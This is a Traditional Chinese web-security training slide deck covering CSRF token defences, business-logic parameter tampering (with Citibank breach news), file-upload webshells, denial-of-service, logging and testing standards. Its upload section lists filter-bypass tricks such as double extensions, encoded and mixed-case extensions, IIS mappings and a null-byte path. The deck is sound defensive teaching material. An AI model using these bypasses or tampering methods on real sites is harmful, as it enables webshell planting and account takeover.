➤ 不是所有CSRF都需要修，先確認該功能萬一被誤用是不是會帶來傷害。

## ➤ Workaround

- ✓ 不要使用GET方式(網址帶參數)來進行重要的交易或功能。
- ✓ 後端程式用“精確”方式取得參數資料
  - General - Request ["name"]
  - 搜尋順序：*Query String → Form → Server Variables*



- GET – Request
- POST – Request.Form["name"] (←OK)

# 防護建議(cont.)

- ✓ 限制使用者的登入有效時間。
- ✓ 對於重要的交易或功能
  - Double confirm
  - Re-authenticate
  - Two-factor Authentication
- ✓ 確認使用者是利用網站介面來進行該項功能  
     檢驗 HTTP 表頭 “Referer” → 可被偽造！
  - 使用CAPTCHA → 不是所有地方適用 & 實作也可能出包
    - 人機分辨測驗: Completely Automated Public Test to tell Computers and Humans Apart

Siemens



讚

## ➤ Solution

✓ 建議可實作“Custom Random Token”：

- 針對重要的交易鏈結或是表單資料
- 範例：

```
<form action="/transfer.do" method="post">  
  <input type="hidden" name="8438927730" value="43847384383">  
  ...  
</form>
```

➤ 後端在產生此頁時，產生一個**random token**置於表單隱藏欄位，並同時將此值存入後端session data中。

➤ 收到使用者送出的該頁資料後取出此值與後端存放者進行比對  
➤ 可以加上時間限制，例如5分鐘內有效。

- 注意事項

➤ 消耗掉就要產生新的！  
➤ 注意其保密性，不要放在URL參數中。



## ➤ Solution by Frameworks

### ✓ .NET : ViewStateUserKey

- Starting with Visual Studio 2012
- <http://software-security.sans.org/developer-how-to/developer-guide-csrf>

### ✓ Java : OWASP CSRF Guard

- [https://www.owasp.org/index.php/Category:OWASP\\_CSRFGuard\\_Project](https://www.owasp.org/index.php/Category:OWASP_CSRFGuard_Project)

#### What is CSRGUARD?

OWASP CSRGUARD provides:

- A library that implements a variant of the synchronizer token pattern to mitigate the risk of Cross-Site Request Forgery (CSRF) attacks.
- A JavaEE Filter and exposes various automated and manual ways to integrate per-session or pseudo-per-request tokens into HTML.

# 商業邏輯攻擊

# 修改關鍵參數

- 竄改URL或是表單參數 → 攻擊商業邏輯 !!!
  - ✓ radio button、check box、select menu
  - ✓ hidden value (→最後結帳金額?!)
- 常用手法 (→重設密碼的帳號!!!)
  - ✓ SQL、XSS
  - ✓ 負數 (→轉帳?!)
  - ✓ 縮小值 (→折扣?!)
  - ✓ 修改與帳號有關的參數 (→ 權限水平/垂直移轉)

所有網頁參數有心人都會去看與竄改 !!!

# 歷史悠久卻十分好用



花旗漏洞／網路申辦出紕漏 曹志誠發現網站開後門 - Microsoft Internet Explorer

檔案(E) 編輯(E) 檢視(V) 我的最愛(A) 工具(I) 說明(H)

上一頁 下一頁 儲存 結束 搜尋 我的最愛 媒體 暫停 滾動 圖像 連結

網址(D) http://www.ettoday.com/2003/11/11/811-1541900.htm 移至

**ETtoday.com** **他到底愛不愛我？好老闆在哪裡？**

## 股市理財

新聞搜尋 **關鍵字** GO

Money焦點 財經 股市 銀行 保險 基金 房地產

**速報 LATEST** 快訊／埃及兩列火車對撞 可能有大量傷亡 (13:51) 轉寄給朋友

**花旗漏洞／網路申辦出紕漏 曹志誠發現網站開後門**

Video 2003/11/11 13:05

記者趙宛如、崔文沛／高雄報導

花旗銀行爆發網路申請信用卡的客戶資料，居然可以任意查閱，等於是銀行後門大開，客戶隱私透過網路曝光了，發現這個漏洞的，是文藻外語學院教通識教育的一位講師，他說，感覺好像看「侏儈紀公園」，再嚴密的防範，還是經不起人為疏失。

花旗銀行的網址欄上，出現的這幾個數字，就是資料外洩的漏洞，從一



# 歷史重演？!



## 分类

[首页](#)[IT](#)[Linux](#)[开源](#)[书籍](#)[开发者](#)[苹果](#)[游戏](#)[硬件](#)[软件](#)[采访](#)[互联网](#)[询问Solidot](#)

## 花旗银行因黑客入侵损失270万美元

blackhat 发表于 2011年6月27日 13时20分 星期一



[来自九牛一毛部门](#)

花旗银行因黑客入侵而蒙受了[270万美元的损失](#)。花旗在本月初承认黑客非法访问了超过36万美国客户的信用卡账户，黑客没有渗透进主信用卡处理系统，而只是简单的进入信用卡客户专区，然后把浏览器地址栏中自己的帐号[替换成他人的帐号](#)。花旗在上周五证实大约3400个帐号遭受了270万美元损失。花旗声称客户将不需要为损失承担责任，它将为受影响的客户重新发行新信用卡。



« [Firefox地址栏将隐藏http:// | 研究人员利用串刺激劫持手](#) »

## 相关文章

[互联网: 黑客轻易入侵花旗银行 4条评论 \[+\]](#)



## ➤ Input Validation

- ✓ 包含Business Logic 的檢查！
- ✓ 與帳號有關的參數請仔細比對Session身份是否一致！

## ➤ 使用者輸入的數值一旦做過嚴格檢驗後

- ✓ 不要再透過隱藏欄位或是參數的方式傳來傳去，讓使用者有再修改的機會。
- ✓ 可存到後端Session變數(或資料庫)中來取用。

# 嚴謹的權限檢驗....做了嗎？



目標	程式撰寫
對的人	登入身分檢查
對的時間	存取時間檢查
對的地點	地理資訊或來源IP檢查
做對的事	存取功能權限檢查
輸入對的資料	輸入值檢查
得到對的資料	資料相關的權限檢查



<http://blog.marketo.com/wp-content/uploads/2014/02/cross-the-line.jpg>

182

Copyright of STI

# 不良的檔案上傳功能

# 檔案上傳 !!!

**WebShell**  
惡意網頁程式

上傳


連結

執行

攻佔網站主機



Web Server



The screenshot shows a web browser window with the URL `com/py_webshell.py?path=./Project`. The title bar says "Backdoor Not Found". The main content area displays a file listing for the directory `./Project`. The table includes columns for 资源 (Resource), 最后修改时间 (Last Modified), 大小 (Size), 模式 (Mode), and 操作 (Operations). The resources listed are: csrf, fish, ieprint, poc, webtrojan, worm, 0x37Project.rar, doc.html, gworm.js, and kb.js. The file `0x37Project.rar` has a size of 68.26KB and mode R/W/X. The file `doc.html` has a size of 0.05KB and mode R/W/X. The files `gworm.js` and `kb.js` have sizes of 1.87KB and 0.01KB respectively, and both have mode R/W/X. The file `csrf` has a size of - and mode R/W/X. The file `fish` has a size of - and mode R/W/X. The file `ieprint` has a size of - and mode R/W/X. The file `poc` has a size of - and mode R/W/X. The file `webtrojan` has a size of - and mode R/W/X. The file `worm` has a size of - and mode R/W/X.

资源	最后修改时间	大小	模式	操作
csrf	2009-02-16 22:17:37	-	R/W/X	Del/Rename
fish	2009-02-16 22:17:37	-	R/W/X	Del/Rename
ieprint	2009-02-16 22:17:37	-	R/W/X	Del/Rename
poc	2009-02-16 22:17:37	-	R/W/X	Del/Rename
webtrojan	2009-02-16 22:17:37	-	R/W/X	Del/Rename
worm	2009-02-16 22:17:37	-	R/W/X	Del/Rename
0x37Project.rar	2008-07-11 21:57:00	68.26KB	R/W/X	R/C/D/ Del/Rename
doc.html	2008-05-20 22:50:00	0.05KB	R/W/X	R/C/D/ Del/Rename
gworm.js	2008-05-16 14:01:00	1.87KB	R/W/X	R/C/D/ Del/Rename
kb.js	2008-06-03 15:12:00	0.01KB	R/W/X	R/C/D/ Del/Rename

(C) Xeye Hack Team

# 黑市“军火”买卖

动手编程：得到WEBSHELL就这么简单

Aspxshell --新型asp.net一句话webshell及客户端

教你打造无法被删除的webshell

51 webshell asp/php/cgi for download

出售几个质量较好的webshell ... 1 2

PR4567 webshell 友情链接交换 收录过万

打包出售PR4-5的webshell 5元一个

长期出售高质量webshell

长期出售高质量webshell

出售PR4-5收录5000+ webshell

出售 webshell 黑链

打包出售PR4-5的webshell 5元一个

打包出售PR4-5的webshell 5元一个

在WEBSHELL下用WINRAR打包整站

黑客动画  Hackers Animation	wcl2222 2009-5-19	1 / 77	chinaeee 2010-10-9 17:50
黑客工具  Hacking tools	lamar 2010-8-1	4 / 112	yepengyu 2010-9-30 10:15
黑客笔记 Hacker notes	bysoft 2010-9-13	0 / 33	bysoft 2010-9-13 19:11
黑客工具  Hacking tools	tools 2010-8-14	4 / 144	adfafwe 2010-9-10 20:59
每日签到 Daily attendance	xiaoyaxin 2010-8-22	11 / 61	heyangy123 2010-8-27 16:40
每日签到 Daily attendance	skythesea 2010-8-10	2 / 65	heyangy123 2010-8-27 16:36
每日签到 Daily attendance	skythesea 2010-8-8	2 / 41	heyangy123 2010-8-27 16:36
每日签到 Daily attendance	xiaoyaxin 2010-8-14	1 / 45	heyangy123 2010-8-27 16:33
每日签到 Daily attendance	xiaoyaxin 2010-8-20	0 / 55	xiaoyaxin 2010-8-20 14:15
每日签到 Daily attendance	xiaoyaxin 2010-8-16	0 / 68	xiaoyaxin 2010-8-16 09:45
每日签到 Daily attendance	night 2010-8-10	0 / 122	night 2010-8-10 21:49
每日签到 Daily attendance	skythesea 2010-8-2	0 / 45	skythesea 2010-8-2 12:43
超级水区 Super Water District	skythesea 2010-7-31	0 / 117	skythesea 2010-7-31 13:21
黑客技术  Hacking technology	vrvufdf 2010-7-28	0 / 34	vrvufdf 2010-7-28 14:38

# 危險的外掛軟體：FCKeditor

[http://www.informationsecurity.com.tw/article/article\\_detail.aspx?aid=5790](http://www.informationsecurity.com.tw/article/article_detail.aspx?aid=5790)

## 燦坤資料外洩：IIS 6漏洞加FCKeditor惹禍

作者：張維君 -06/28/2010



知名3C連鎖賣場燦坤傳出資料外洩，5月以來網友紛紛在論壇留言接獲詐騙電話，對方清楚知道消費交易細節，有受害者因此受騙上當用ATM轉走數萬元，甚至上百萬元不等。警方表示，這波遭受攻擊的企業共10多家，燦坤只是其中之一。

自5月以來，網友在mobile 01論壇接連反映接到詐騙電話，疑似3C連鎖賣場燦坤資料外洩。燦坤日前在接受媒體採訪時表示已報警處理，坦言系統遭駭客入侵。除燦坤之外，受駭企業包含零售通路業者，不願具名的某受駭企業表示，經過調查，此次駭客利用微軟作業系統的漏洞、網頁文字編輯器共享軟體FCKeditor，上傳一支後門程式，隨後不斷掃描內部網路架構，並狡猾地把所有痕跡抹除，造成事後調查的困難。事發後除了移除FCKeditor外，佈署網頁應用防火牆(WAF)，並全面翻修檢查SQL Injection漏洞，改寫應用程式。

# 駭客與程式設計師鬥法



## ➤ 檔名做手腳

- ✓ IIS 映射問題
  - asp.dll : asp、asa、cer、cdx ...
  - ssinc.dll : stm、shtm、shtml
- ✓ .php / .jsp
- ✓ .gif.php (多重附檔名)
- ✓ %2E%70%68%70 (→ .php)
- ✓ .pHp
- ✓ .ccerer
- ✓ 加點/加空白

## ➤ 檔案路徑做手腳

- ✓ NULL
  - /image/xxx.aspx%00.jpg

# 防護建議

**WebShell**  
惡意網頁程式

上傳

連結

執行

攻佔網站主機



Web Server

■ 輸入檢驗

- 附檔名、MIME-Type
- 後端執行
- 白名單>黑名單
- 避免被編碼繞過
- 儲存時更名
- 包含副檔名



■ 客製化的Reader

- <https://.....show.aspx?id=112233>



■ 關閉存放目錄的執行權



打擊“可用性”

# AP 的查詢功能

- 沒事回太多
- 等..等....等.....等
  - ✓ Slow POST
- 需要大量的計算紙
- No CAPTCHA
  - ✓ Login
  - ✓ 新增會員
  - ✓ 聯絡我們
- .....



[http://www.icondesignlab.com/uploads/portfolio/big/3\\_Easy-QueryNET\\_Application-logo-for-Easy-QueryNET.jpg](http://www.icondesignlab.com/uploads/portfolio/big/3_Easy-QueryNET_Application-logo-for-Easy-QueryNET.jpg)

# AP 的Log/錯誤處理機制



- 紀錄太多資料
  - ✓ Dump Memory?!
- No Aggregation 或白名單(例如:for弱點掃描)
- 耗時太久



<http://medya.zaman.com.tr/2012/02/11/bitlis.jpg>

## 程式改版 全台郵局電腦當機

 電子報紙

2018/5/4 | 作者：

| 點閱次數：317 | 環保列印 



字級：大 中 小


【本報台北訊】昨天上午全台近一千三百個郵局儲匯窗口電腦、逾三千台ATM及網路交易連線，一度中斷一個多小時，民眾領不到錢也存不了款，是近年中華郵政在營業時間內電腦當機最久的一次。中華郵政表示，是因為清晨程式改版加上交易爆量，連線系統資源耗竭才會當機，造成民眾不便，深表歉意。

中華郵政表示，昨天上午九時零九分機房監控人員反映系統出問題，三分鐘後重啟系統無效，緊急擴大資源空間並修正程式，十時再重啟系統，十時二十分全面恢復連線作業，由於全區的儲匯業務，包括存提款、轉帳、ATM和線上交易都受影響，有網友說難怪刷卡刷不過，以為卡被凍結了，鬆了一口氣。

中華郵政發言人簡良璘指出，昨天上午六時儲匯交易控管程式改版，適逢月初交易量爆增，產生大量的錯誤訊息，造成主機連線系統資源耗竭，連線服務中斷，與駭客無關，營業窗口仍可離線交易，不致造成客戶損失。


簡良璘表示，本周內會調整系統資源監控頻率及警示機制，提升問題處理效率，為防止類似情事再次發生，研議規畫備援資源空間，預計下周完成。

金管會銀行局副局長莊琇媛表示，由於郵局過去從未發生過這種大當機問題，所以金管會已要求郵局，在七個營業日須提出檢討報告，再視情況是否處分，金管會也會要求金融業加強ATM管理監控。



# 結論

# 軟體生命週期之安全防護



# 迷思：寫了安全功能 = 系統很安全

- 我們系統有身份認證
- 我們系統有權限控管
- 我們系統有稽核記錄



[http://www.china1000.net/uploadfiles/2006-08/20060824\\_004034.jpg](http://www.china1000.net/uploadfiles/2006-08/20060824_004034.jpg)

.....最後還是出事了！  
而且還不知道“人是誰殺的”！

# 測試準則參考

SANS



## Securing Web Application Technologies [SWAT] Checklist

The SWAT Checklist provides an easy to reference set of best practices that raise awareness and help development teams create more secure applications. It's a first step toward building a base of security knowledge around web application security. Use this checklist to identify the minimum standard that is required to neutralize vulnerabilities in your critical applications.

ERROR HANDLING AND LOGGING

DATA PROTECTION

CONFIGURATION AND OPERATIONS

AUTHENTICATION

SESSION MANAGEMENT

INPUT AND OUTPUT HANDLING

ACCESS CONTROL



C U R R I C U L U M

Get the right training to build secure applications.

- <https://software-security.sans.org/resources/swat>
- <https://www.sans.org/security-resources/posters/securing-web-application-technologies-swat/60/download>



ASVS 2014

Web Application Standard

## Detailed Verification Requirements

This section of the OWASP Application Security Verification Standard (ASVS) defines detailed verification requirements that were derived from the high-level requirements for each of the verification levels defined in this standard. Each section below defines a set of detailed verification requirements grouped into related areas.

The ASVS defines the following security requirements areas. The numbering scheme has been kept consistent with the previous version of ASVS to help with individuals wishing to transition from one to the other.

- V2. Authentication
- V3. Session Management
- V4. Access Control
- V5. Malicious Input Handling
- V7. Cryptography at Rest
- V8. Error Handling and Logging
- V9. Data Protection
- V10. Communications
- V11. HTTP
- V13. Malicious Controls
- V15. Business Logic
- V16. File and Resource
- V17. Mobile

OWASP

OWASP | Testing Guide 4.0

release



- [https://www.owasp.org/index.php/OWASP\\_Testing\\_Project#tab>New\\_OWASP\\_Testing\\_Guide](https://www.owasp.org/index.php/OWASP_Testing_Project#tab>New_OWASP_Testing_Guide)
- <https://www.owasp.org/images/1/19/OTGv4.pdf>

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
Copyright of STI

# 各類測試比較

測試方法	時間點	優點	缺點
原始碼檢測	開發階段	提早發現與修補 直指 <b>原始碼位置</b>	<b>找不到環境弱點</b>
<b>Test Cases</b> <b>from需求追溯矩陣</b>	整合測試階段 安裝後上線前	確認實作 <b>Security Controls</b>	<b>非外部駭客思維</b>
壓力測試	整合測試階段 安裝後上線前	確認系統 <b>效能Baseline</b>	<b>無法確認其他安全問題</b>
弱點掃描(系統、網站)	整合測試階段 安裝後上線前	確認不存在 <b>已知弱點</b>	<b>無法確認未知弱點</b> <b>掃瞄範圍可能有限</b> <b>無法檢測商業邏輯</b>
滲透測試	整合測試階段 安裝後上線前	有機會尋找未知弱點 檢測範圍較完整 可檢測商業邏輯 可擴散攻擊 可確認損害程度	<b>時間較長</b> <b>人才難尋</b> <b>成本較高</b>

◎後三者儘量不要在系統上線維運後才做 ~

# 終極目標：可處理/可接受的剩餘風險



<http://www.mtsc.com.tw/images/service/Network.gif>

# 參考文獻 & 延伸閱讀

- 書籍：『 **HTTP Essentials** 』 - Stephen Thomas
- 書籍：『 **The Web Application Hackers Handbook** 』 - Dafydd Stuttard 、 Marcus Pinto
- 書籍：『 **Hacking the Code (ASP.NET Web ApplicationSecurity)** 』 - Mark M. Burnett 、 James C.Foster
- 書籍：『 **Secure Java – For Web Application Development** 』 - Abhay Bhargav and B.V. Kumar
- 書籍：『 **Java網站安全防護實務手冊 - 軟體開發安全技術的九大黃金準則** 』 - 蔡宗霖，碁峯出版社。
- “**2011 CWE/SANS Top 25 Most Dangerous Programming Errors**”
  - ✓ <http://cwe.mitre.org/top25/index.html#Listing>
  - ✓ <https://www.sans.org/top25-software-errors>
- [Veracode] “**State of Software Security 2017**”



謝謝聆聽